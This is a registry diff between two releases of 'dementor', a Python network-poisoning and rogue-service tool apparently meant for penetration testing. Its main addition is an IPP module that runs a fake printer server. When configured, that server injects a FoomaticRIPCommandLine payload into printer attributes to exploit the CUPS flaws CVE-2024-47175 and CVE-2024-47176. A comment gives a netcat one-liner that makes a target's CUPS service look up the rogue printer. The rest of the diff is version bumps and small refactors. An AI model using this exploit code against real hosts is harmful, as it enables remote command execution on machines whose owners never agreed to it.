dementor 1.0.0.dev9__tar.gz → 1.0.0.dev10__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of dementor might be problematic. Click here for more details.

Files changed (60) hide show
  1. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/PKG-INFO +1 -1
  2. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/dementor/__init__.py +1 -1
  3. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/dementor/config/session.py +1 -0
  4. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/dementor/protocols/http.py +1 -1
  5. dementor-1.0.0.dev10/dementor/protocols/ipp.py +426 -0
  6. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/dementor/protocols/msrpc.py +18 -14
  7. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/dementor/protocols/mysql.py +1 -2
  8. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/dementor/protocols/smb.py +1 -1
  9. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/dementor.egg-info/PKG-INFO +1 -1
  10. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/dementor.egg-info/SOURCES.txt +1 -0
  11. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/pyproject.toml +1 -1
  12. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/LICENSE +0 -0
  13. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/README.md +0 -0
  14. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/dementor/__main__.py +0 -0
  15. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/dementor/assets/Dementor.toml +0 -0
  16. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/dementor/assets/banner.txt +0 -0
  17. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/dementor/assets/www/error_page.html +0 -0
  18. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/dementor/assets/www/wpad.dat +0 -0
  19. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/dementor/config/__init__.py +0 -0
  20. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/dementor/config/attr.py +0 -0
  21. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/dementor/config/toml.py +0 -0
  22. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/dementor/config/util.py +0 -0
  23. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/dementor/database.py +0 -0
  24. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/dementor/filters.py +0 -0
  25. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/dementor/loader.py +0 -0
  26. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/dementor/logger.py +0 -0
  27. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/dementor/paths.py +0 -0
  28. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/dementor/protocols/__init__.py +0 -0
  29. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/dementor/protocols/ftp.py +0 -0
  30. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/dementor/protocols/imap.py +0 -0
  31. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/dementor/protocols/kerberos.py +0 -0
  32. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/dementor/protocols/ldap.py +0 -0
  33. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/dementor/protocols/llmnr.py +0 -0
  34. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/dementor/protocols/mdns.py +0 -0
  35. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/dementor/protocols/msrpc/__init__.py +0 -0
  36. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/dementor/protocols/msrpc/dcom.py +0 -0
  37. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/dementor/protocols/msrpc/epm.py +0 -0
  38. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/dementor/protocols/msrpc/rpc.py +0 -0
  39. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/dementor/protocols/mssql.py +0 -0
  40. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/dementor/protocols/netbios.py +0 -0
  41. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/dementor/protocols/ntlm.py +0 -0
  42. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/dementor/protocols/pop3.py +0 -0
  43. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/dementor/protocols/quic.py +0 -0
  44. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/dementor/protocols/smtp.py +0 -0
  45. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/dementor/protocols/spnego.py +0 -0
  46. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/dementor/protocols/x11.py +0 -0
  47. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/dementor/servers.py +0 -0
  48. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/dementor/standalone.py +0 -0
  49. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/dementor.egg-info/dependency_links.txt +0 -0
  50. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/dementor.egg-info/entry_points.txt +0 -0
  51. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/dementor.egg-info/requires.txt +0 -0
  52. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/dementor.egg-info/top_level.txt +0 -0
  53. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/docs/README.pypi.md +0 -0
  54. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/setup.cfg +0 -0
  55. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/test/test_dcerpc.py +0 -0
  56. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/test/test_dcom.py +0 -0
  57. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/test/test_epm.py +0 -0
  58. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/test/test_mssql_auth.py +0 -0
  59. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/test/test_ssl_client.py +0 -0
  60. {dementor-1.0.0.dev9 → dementor-1.0.0.dev10}/test/test_ssl_server.py +0 -0
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: dementor
3
- Version: 1.0.0.dev9
3
+ Version: 1.0.0.dev10
4
4
  Summary: LLMNR/NBT-NS/mDNS Poisoner and rogue service provider
5
5
  Author: MatrixEditor
6
6
  Maintainer: MatrixEditor
@@ -18,5 +18,5 @@
18
18
  # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
19
19
  # SOFTWARE.
20
20
 
21
- __version__ = "1.0.0.dev9"
21
+ __version__ = "1.0.0.dev10"
22
22
  __author__ = "MatrixEditor"
@@ -55,6 +55,7 @@ class SessionConfig(TomlConfig):
55
55
  "POP3",
56
56
  "MySQL",
57
57
  "X11",
58
+ "IPP",
58
59
  )
59
60
  ]
60
61
 
@@ -264,7 +264,7 @@ class HTTPHandler(BaseHTTPRequestHandler):
264
264
  # let us log mssages
265
265
  text = format % args
266
266
  msg = text.translate(self._control_char_table)
267
- self.logger.debug(f"(http) {msg}")
267
+ self.logger.debug(msg)
268
268
 
269
269
  def send_response(self, code: int, message: str | None = None) -> None:
270
270
  if not hasattr(self, "_headers_buffer"):
@@ -0,0 +1,426 @@
1
+ # Copyright (c) 2025-Present MatrixEditor
2
+ #
3
+ # Permission is hereby granted, free of charge, to any person obtaining a copy
4
+ # of this software and associated documentation files (the "Software"), to deal
5
+ # in the Software without restriction, including without limitation the rights
6
+ # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
7
+ # copies of the Software, and to permit persons to whom the Software is
8
+ # furnished to do so, subject to the following conditions:
9
+ #
10
+ # The above copyright notice and this permission notice shall be included in all
11
+ # copies or substantial portions of the Software.
12
+ #
13
+ # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
14
+ # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
15
+ # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
16
+ # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
17
+ # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
18
+ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
19
+ # SOFTWARE.
20
+ #
21
+ # Reference:
22
+ # - https://datatracker.ietf.org/doc/html/rfc8010
23
+ # - https://github.com/istopwg/pwg-books/blob/master/ippguide/ippguide.pdf
24
+ #
25
+ # Notes:
26
+ # To trigger a new printer lookup, a specially crafted CUPS browsing request
27
+ # has to be sent over UDP to the CUPS server. The format is as follows:
28
+ #
29
+ # BROWSED_REQUEST := 0 <SPACE> 3 <SPACE> <URL> <SPACE> "<LOCATION>" <SPACE> "<INFO>"
30
+ #
31
+ # The URL must point to the rogue IPP server, INFO can be any string, and
32
+ # LOCATION will be populated to the user when the printer is selected.
33
+ #
34
+ # The following commands can be used to trigger a printer lookup:
35
+ # echo '0 3 http://<IP>:<PORT>/printers/test "loc" "info"' | nc -nu <TARGET_IP> 631
36
+ import socket
37
+
38
+ from http import HTTPStatus
39
+ from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
40
+ from typing import Any
41
+
42
+ from rich import markup
43
+ from pyipp import parser as IppParser, serializer as IppSerializer
44
+ from pyipp.enums import IppOperation, IppPrinterState, IppStatus, IppTag
45
+ from pyipp.tags import ATTRIBUTE_TAG_MAP
46
+
47
+ from dementor.config.toml import Attribute as A, TomlConfig
48
+ from dementor.config.util import format_string
49
+ from dementor.logger import ProtocolLogger, dm_logger
50
+ from dementor.servers import ServerThread, bind_server
51
+ from dementor.database import normalize_client_address
52
+
53
+ # [5.1.10. 'mimeMediaType']
54
+ IPP_MIME_MEDIA_TYPES = [
55
+ "text/html",
56
+ "text/plain",
57
+ "text/plain; charset = US-ASCII",
58
+ "text/plain; charset = ISO-8859-1",
59
+ "text/plain; charset = utf-8",
60
+ "application/postscript",
61
+ "application/vnd.hp-PCL",
62
+ "application/pdf",
63
+ "application/octet-stream",
64
+ ]
65
+
66
+ # [5.4.14. ipp-versions-supported]
67
+ IPP_SUPPORTED_VERSIONS = ["1.0", "1.1", "2.0", "2.1", "2.2"]
68
+
69
+ # Add a few more printer attributes
70
+ ATTRIBUTE_TAG_MAP.update(
71
+ {
72
+ # Table 16: Printer Description Attributes (READ-WRITE)
73
+ "charset-configured": IppTag.CHARSET,
74
+ "charset-supported": IppTag.CHARSET,
75
+ "color-supported": IppTag.BOOLEAN,
76
+ "compression-supported": IppTag.KEYWORD,
77
+ "document-format-default": IppTag.MIME_TYPE,
78
+ "document-format-supported": IppTag.MIME_TYPE,
79
+ "generated-natural-language-supported": IppTag.LANGUAGE,
80
+ "ipp-versions-supported": IppTag.KEYWORD,
81
+ "job-impressions-supported": IppTag.INTEGER,
82
+ "job-k-octets-supported": IppTag.INTEGER,
83
+ "job-media-sheets-supported": IppTag.INTEGER,
84
+ "multiple-document-jobs-supported": IppTag.BOOLEAN,
85
+ "multiple-operation-time-out": IppTag.INTEGER,
86
+ "natural-language-configured": IppTag.LANGUAGE,
87
+ "operations-supported": IppTag.ENUM,
88
+ "pdl-override-supported": IppTag.KEYWORD,
89
+ "printer-driver-installer": IppTag.URI,
90
+ "printer-info": IppTag.TEXT,
91
+ "printer-location": IppTag.TEXT,
92
+ "printer-make-and-model": IppTag.TEXT,
93
+ "printer-message-from-operator": IppTag.TEXT,
94
+ "printer-more-info-manufacturer": IppTag.URI,
95
+ "printer-name": IppTag.NAME,
96
+ "reference-uri-schemes-supported": IppTag.URI_SCHEME,
97
+ # Table 17: Printer Status Attributes (READ-ONLY)
98
+ "pages-per-minute-color": IppTag.INTEGER,
99
+ "pages-per-minute": IppTag.INTEGER,
100
+ "printer-current-time": IppTag.DATE,
101
+ "printer-is-accepting-jobs": IppTag.BOOLEAN,
102
+ "printer-more-info": IppTag.URI,
103
+ "printer-state": IppTag.ENUM,
104
+ "printer-state-message": IppTag.TEXT,
105
+ "printer-state-reasons": IppTag.KEYWORD,
106
+ "printer-up-time": IppTag.INTEGER,
107
+ "printer-uri-supported": IppTag.URI,
108
+ "queued-job-count": IppTag.INTEGER,
109
+ "uri-authentication-supported": IppTag.KEYWORD,
110
+ "uri-security-supported": IppTag.KEYWORD,
111
+ # other
112
+ "printer-privacy-policy-uri": IppTag.URI,
113
+ "printer-dns-sd-name": IppTag.NAME,
114
+ "printer-device-id": IppTag.TEXT,
115
+ }
116
+ )
117
+
118
+
119
+ class IPPConfig(TomlConfig):
120
+ _section_ = "IPP"
121
+ _fields_ = [
122
+ A("ipp_port", "Port", 631),
123
+ A("ipp_server_type", "ServerType", "IPP/1.1", factory=format_string),
124
+ A("ipp_supported_formats", "DocumentFormats", IPP_MIME_MEDIA_TYPES),
125
+ A("ipp_supported_versions", "SupportedVersions", IPP_SUPPORTED_VERSIONS),
126
+ A("ipp_default_format", "DefaultDocumentFormat", "text/plain"),
127
+ A("ipp_driver_uri", "DriverUri", None),
128
+ A("ipp_printer_name", "PrinterName", None),
129
+ A("ipp_printer_info", "PrinterInfo", "Printer Info"),
130
+ A("ipp_printer_location", "PrinterLocation", "outside"),
131
+ A("ipp_printer_model", "PrinterModel", "HP 8.0"),
132
+ A("ipp_extra_attrib", "ExtraAttributes", None),
133
+ A("ipp_extra_headers", "ExtraHeaders", None),
134
+ A("ipp_supported_operations", "SupportedOperations", None),
135
+ A("ipp_remote_cmd", "RemoteCmd", None),
136
+ A("ipp_remote_cmd_attr", "RemoteCmdAttribute", "printer-privacy-policy-uri"),
137
+ A("ipp_remote_cmd_filter", "RemoteCmdCupsFilter", None),
138
+ ]
139
+
140
+ def set_ipp_supported_operations(self, value):
141
+ self.ipp_supported_operations = [
142
+ IppOperation[operation] if isinstance(operation, str) else operation
143
+ for operation in (value or [])
144
+ ]
145
+
146
+ def set_ipp_extra_attrib(self, extra: list):
147
+ # A list of attributes to add to the GET-PRINTER-ATTRIBUTES response.
148
+ # This settings can also be used to add custom attributes to the
149
+ # ATTRIBUTE_TAG_MAP.
150
+ self.ipp_extra_attrib = {}
151
+ for attrib_config in [] if not isinstance(extra, list) else extra:
152
+ name = attrib_config.get("name")
153
+ if not name:
154
+ dm_logger.warning(f"Missing name for extra attribute: {attrib_config}")
155
+ continue
156
+
157
+ tag = attrib_config.get("tag")
158
+ match tag:
159
+ case int():
160
+ ATTRIBUTE_TAG_MAP[name] = IppTag(tag)
161
+ case str():
162
+ ATTRIBUTE_TAG_MAP[name] = IppTag[tag]
163
+ case _:
164
+ dm_logger.warning(f"Invalid tag for extra attribute: {tag!r}")
165
+ continue
166
+
167
+ value = attrib_config.get("value")
168
+ if value is not None:
169
+ self.ipp_extra_attrib[name] = value
170
+
171
+
172
+ def apply_config(session):
173
+ session.ipp_config = TomlConfig.build_config(IPPConfig)
174
+
175
+
176
+ def create_server_threads(session):
177
+ address = (session.bind_address, session.ipp_config.ipp_port)
178
+ if session.ipp_enabled:
179
+ yield ServerThread(
180
+ session, IPPServer, server_address=address, ipv6=bool(session.ipv6)
181
+ )
182
+
183
+
184
+ # --- IPP Constants ---
185
+
186
+ # [4.1.4.2. Response Operation Attributes]
187
+ ATTRIB_CHARSET = "attributes-charset"
188
+ ATTRIB_NATURAL_LANGUAGE = "attributes-natural-language"
189
+
190
+
191
+ class IPPHandler(BaseHTTPRequestHandler):
192
+ default_request_version = "HTTP/1.1"
193
+ request_version = default_request_version
194
+
195
+ def __init__(self, session, config, request, client_address, server) -> None:
196
+ self.config = config # REVISIT: this is confusing
197
+ self.session = session
198
+ self.client_address = client_address
199
+ self.setup_proto_logger()
200
+ super().__init__(request, client_address, server)
201
+
202
+ def setup_proto_logger(self):
203
+ self.logger = ProtocolLogger(
204
+ extra={
205
+ "protocol": "IPP",
206
+ "protocol_color": "spring_green1",
207
+ "host": normalize_client_address(self.client_address[0]),
208
+ "port": self.config.ipp_port,
209
+ }
210
+ )
211
+
212
+ def send_response(self, code: int, message=None, document=None) -> None:
213
+ self.logger.debug(
214
+ markup.escape(f"{self.command} {self.path} {code}"), is_server=True
215
+ )
216
+ if not hasattr(self, "_headers_buffer"):
217
+ self._headers_buffer = []
218
+
219
+ super().send_response(code, message)
220
+ self.send_header("Connection", "close")
221
+ for header in self.config.ipp_extra_headers or []:
222
+ self._headers_buffer.append(f"{header}\r\n".encode("utf-8", "strict"))
223
+
224
+ if document is not None:
225
+ data = IppSerializer.encode_dict(document)
226
+ self.send_header("Content-Type", "application/ipp")
227
+ self.send_header("Content-Length", str(len(data)))
228
+ self.end_headers()
229
+ self.wfile.write(data)
230
+ self.wfile.flush()
231
+
232
+ def version_string(self) -> str:
233
+ return self.config.ipp_server_type
234
+
235
+ @property
236
+ def content_length(self) -> int:
237
+ return int(self.headers.get("Content-Length", 0))
238
+
239
+ @property
240
+ def printer_name(self) -> str:
241
+ return self.config.ipp_printer_name or self.path.split("/")[-1]
242
+
243
+ @property
244
+ def printer_uri(self) -> str:
245
+ address = self.session.ipv4
246
+ return (
247
+ f"ipp://{address}:{self.config.ipp_port}/ipp/printers/{self.printer_name}"
248
+ )
249
+
250
+ def log_message(self, format: str, *args: Any) -> None:
251
+ # let us log mssages
252
+ pass
253
+
254
+ def do_POST(self):
255
+ # handle IPP request
256
+ try:
257
+ data = self.rfile.read(self.content_length)
258
+ self.logger.debug(f"Ipp request data: {data.hex()}", is_client=True)
259
+ req = IppParser.parse(data, contains_data=True)
260
+ except Exception as e:
261
+ self.send_error(HTTPStatus.BAD_REQUEST, "Bad Request")
262
+ return self.logger.debug(f"Invalid IPP request: {e}")
263
+
264
+ major, minor = req["version"]
265
+ req_id = req["request-id"]
266
+ operation = IppOperation(req["status-code"])
267
+ self.logger.display(
268
+ f"IPP-Request: <{operation.name}> (Version: {major}.{minor}, "
269
+ f"ID: {req_id:#x})"
270
+ )
271
+
272
+ method = getattr(self, f"ipp_{operation.name.lower()}", None)
273
+ if method is None:
274
+ self.logger.debug(f"Unknown IPP operation: {operation.name}")
275
+ self.send_error(HTTPStatus.NOT_FOUND, "Not Found")
276
+ else:
277
+ method(req)
278
+
279
+ def ipp_get_printer_attributes(self, req: dict):
280
+ # [4.2.5. Get-Printer-Attributes Operation]
281
+ # This REQUIRED operation allows a Client to request the values of the
282
+ # attributes of a Printer. In the request, the Client supplies the set
283
+ # of Printer attribute names and/or attribute group names in which the
284
+ # requester is interested.
285
+ attrib = req["operation-attributes"]
286
+
287
+ # [4.2.5.2. Get-Printer-Attributes Response]
288
+ resp_attrib = {}
289
+ resp = {
290
+ "version": req["version"],
291
+ # "request-id": req["request-id"],
292
+ "operation": IppStatus.OK,
293
+ "operation-attributes-tag": {
294
+ # Natural Language and Character Set
295
+ ATTRIB_CHARSET: attrib[ATTRIB_CHARSET],
296
+ ATTRIB_NATURAL_LANGUAGE: attrib[ATTRIB_NATURAL_LANGUAGE],
297
+ },
298
+ # "status-message" omitted
299
+ "printer-attributes-tag": resp_attrib,
300
+ }
301
+
302
+ # Table 17: Printer Status Attributes (READ-ONLY)
303
+ # | printer-is-accepting-jobs | boolean | REQUIRED |
304
+ resp_attrib["printer-is-accepting-jobs"] = True
305
+ # | printer-state | type1 enum | REQUIRED |
306
+ resp_attrib["printer-state"] = IppPrinterState.IDLE
307
+ # | printer-state-reasons | 1setOf type2 keyword | REQUIRED |
308
+ # [5.4.12. printer-state-reasons]
309
+ # - 'none': There are no reasons.
310
+ resp_attrib["printer-state-reasons"] = ["none"]
311
+ # | printer-up-time | integer(1:MAX) | REQUIRED |
312
+ resp_attrib["printer-up-time"] = 1 # random.randrange(1, 0xFFFF)
313
+ # | printer-uri-supported | 1setOf uri | REQUIRED |
314
+ resp_attrib["printer-uri-supported"] = [self.printer_uri]
315
+ # | queued-job-count | integer(0:MAX) | REQUIRED |
316
+ resp_attrib["queued-job-count"] = 0
317
+ # | uri-authentication-supported | 1setOf type2 keyword | REQUIRED |
318
+ # [5.4.2. uri-authentication-supported]
319
+ # 'none': There is no authentication mechanism associated with the
320
+ # URI. The Printer assumes that the authenticated user is
321
+ # 'anonymous'.
322
+ resp_attrib["uri-authentication-supported"] = ["none"]
323
+ # | uri-security-supported | 1setOf type2 keyword | REQUIRED |
324
+ resp_attrib["uri-security-supported"] = ["none"]
325
+
326
+ # Table 16: Printer Description Attributes (READ-WRITE)
327
+ # | charset-configured | charset | REQUIRED |
328
+ resp_attrib["charset-configured"] = attrib[ATTRIB_CHARSET]
329
+ # | charset-supported | 1setOf charset | REQUIRED |
330
+ # [5.4.18. charset-supported]
331
+ # At least the value 'utf-8' MUST be present, since IPP objects MUST
332
+ # support the UTF-8 [RFC3629] charset.
333
+ resp_attrib["charset-supported"] = {attrib[ATTRIB_CHARSET], "utf-8"}
334
+ # | color-supported | boolean | RECOMMENDED |
335
+ resp_attrib["color-supported"] = True
336
+ # | compression-supported | 1setOf type2 keyword | REQUIRED |
337
+ resp_attrib["compression-supported"] = ["none"]
338
+ # | document-format-default | mimeMediaType | REQUIRED |
339
+ resp_attrib["document-format-default"] = self.config.ipp_default_format
340
+ # | document-format-supported | 1setOf mimeMediaType | REQUIRED |
341
+ resp_attrib["document-format-supported"] = self.config.ipp_supported_formats
342
+ # | generated-natural-language- | 1setOf | REQUIRED |
343
+ # | supported | naturalLanguage | |
344
+ resp_attrib["generated-natural-language-supported"] = [
345
+ attrib[ATTRIB_NATURAL_LANGUAGE]
346
+ ]
347
+ # | ipp-versions-supported | 1setOf type2 keyword | REQUIRED |
348
+ resp_attrib["ipp-versions-supported"] = self.config.ipp_supported_versions
349
+ # | natural-language-configured | naturalLanguage | REQUIRED |
350
+ resp_attrib["natural-language-configured"] = attrib[ATTRIB_NATURAL_LANGUAGE]
351
+ # | operations-supported | 1setOf type2 enum | REQUIRED |
352
+ # By default, we should support all standard operations
353
+ resp_attrib["operations-supported"] = set(
354
+ self.config.ipp_supported_operations
355
+ ) | {i for i in range(0x002, 0x0013)}
356
+ # | pdl-override-supported | type2 keyword | REQUIRED |
357
+ resp_attrib["pdl-override-supported"] = "not-attempted"
358
+ # | printer-driver-installer | uri | |
359
+ if self.config.ipp_driver_uri:
360
+ resp_attrib["printer-driver-installer"] = self.config.ipp_driver_uri
361
+ # | printer-info | text(127) | RECOMMENDED |
362
+ if self.config.ipp_printer_info:
363
+ resp_attrib["printer-info"] = self.config.ipp_printer_info
364
+ # | printer-location | text(127) | RECOMMENDED |
365
+ if self.config.ipp_printer_location:
366
+ resp_attrib["printer-location"] = self.config.ipp_printer_location
367
+ # | printer-make-and-model | text(127) | RECOMMENDED |
368
+ if self.config.ipp_printer_model:
369
+ resp_attrib["printer-make-and-model"] = self.config.ipp_printer_model
370
+ # | printer-name | name(127) | REQUIRED |
371
+ resp_attrib["printer-name"] = self.printer_name
372
+
373
+ msg = f"Serving IPP printer [i]{markup.escape(self.printer_name)}[/]"
374
+ # CVE-2024-47175, CVE-2024-47176
375
+ if self.config.ipp_remote_cmd:
376
+ cups_filter = (
377
+ self.config.ipp_remote_cmd_filter
378
+ or "application/pdf application/vnd.cups-postscript 0 foomatic-rip"
379
+ )
380
+ value = (
381
+ f'{self.printer_uri}"\n*FoomaticRIPCommandLine: '
382
+ f'"{self.config.ipp_remote_cmd}"\n'
383
+ # The space here is very important!
384
+ f'*cupsFilter2 : "{cups_filter}'
385
+ )
386
+ resp_attrib[self.config.ipp_remote_cmd_attr] = value
387
+ cmd_text = self.config.ipp_remote_cmd
388
+ if len(cmd_text) > 32:
389
+ cmd_text = f"{cmd_text[:32]}..."
390
+ msg = f"{msg} with remote command: {markup.escape(cmd_text)!r}"
391
+
392
+ # allow extra configuration
393
+ for key, value in (self.config.ipp_extra_attrib or {}).items():
394
+ resp_attrib[key] = value
395
+
396
+ self.logger.success(msg)
397
+ self.send_response(HTTPStatus.OK, "OK", resp)
398
+
399
+
400
+ class IPPServer(ThreadingHTTPServer):
401
+ service_name = "IPP"
402
+
403
+ def __init__(
404
+ self,
405
+ session,
406
+ server_address=None,
407
+ RequestHandlerClass=None,
408
+ ipv6=False,
409
+ ) -> None:
410
+ self.config = session
411
+ self.server_config = session.ipp_config
412
+ self.is_ipv6 = ipv6
413
+ if self.is_ipv6:
414
+ self.address_family = socket.AF_INET6
415
+
416
+ address = server_address or (self.config.bind_address, 631)
417
+ super().__init__(address, RequestHandlerClass or IPPHandler)
418
+
419
+ def server_bind(self) -> None:
420
+ bind_server(self, self.config)
421
+ return super().server_bind()
422
+
423
+ def finish_request(self, request, client_address) -> None:
424
+ self.RequestHandlerClass(
425
+ self.config, self.server_config, request, client_address, self
426
+ )
@@ -37,17 +37,21 @@ def create_server_threads(session):
37
37
 
38
38
  # connection data will be shared across both servers
39
39
  conn_data = defaultdict(RPCConnection)
40
- return [
41
- ServerThread(
42
- session,
43
- MSRPCServer,
44
- server_address=(addr, 135),
45
- handles=conn_data,
46
- ),
47
- ServerThread(
48
- session,
49
- MSRPCServer,
50
- server_address=(addr, session.rpc_config.epm_port),
51
- handles=conn_data,
52
- ),
53
- ]
40
+ return (
41
+ [
42
+ ServerThread(
43
+ session,
44
+ MSRPCServer,
45
+ server_address=(addr, 135),
46
+ handles=conn_data,
47
+ ),
48
+ ServerThread(
49
+ session,
50
+ MSRPCServer,
51
+ server_address=(addr, session.rpc_config.epm_port),
52
+ handles=conn_data,
53
+ ),
54
+ ]
55
+ if session.rpc_enabled
56
+ else []
57
+ )
@@ -24,7 +24,6 @@
24
24
  # https://dev.mysql.com/doc/dev/mysql-server/latest/PAGE_PROTOCOL.html
25
25
 
26
26
  import enum
27
- import secrets
28
27
 
29
28
  from typing import Any
30
29
  from collections import OrderedDict
@@ -86,7 +85,7 @@ def create_server_threads(session):
86
85
  MySQLServer,
87
86
  server_address=(session.bind_address, session.mysql_config.mysql_port),
88
87
  )
89
- ]
88
+ ] if session.mysql_enabled else []
90
89
 
91
90
 
92
91
  # --- MySQL Protocol ---
@@ -101,7 +101,7 @@ def apply_config(session):
101
101
 
102
102
  def create_server_threads(session):
103
103
  servers = []
104
- if True: # session.smb_enabled:
104
+ if session.smb_enabled:
105
105
  for server_config in session.smb_config:
106
106
  servers.append(
107
107
  ServerThread(
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: dementor
3
- Version: 1.0.0.dev9
3
+ Version: 1.0.0.dev10
4
4
  Summary: LLMNR/NBT-NS/mDNS Poisoner and rogue service provider
5
5
  Author: MatrixEditor
6
6
  Maintainer: MatrixEditor
@@ -29,6 +29,7 @@ dementor/protocols/__init__.py
29
29
  dementor/protocols/ftp.py
30
30
  dementor/protocols/http.py
31
31
  dementor/protocols/imap.py
32
+ dementor/protocols/ipp.py
32
33
  dementor/protocols/kerberos.py
33
34
  dementor/protocols/ldap.py
34
35
  dementor/protocols/llmnr.py
@@ -1,6 +1,6 @@
1
1
  [project]
2
2
  name = "dementor"
3
- version = "1.0.0.dev9"
3
+ version = "1.0.0.dev10"
4
4
  license = { file = "LICENSE" }
5
5
 
6
6
  description = "LLMNR/NBT-NS/mDNS Poisoner and rogue service provider"
File without changes
File without changes
File without changes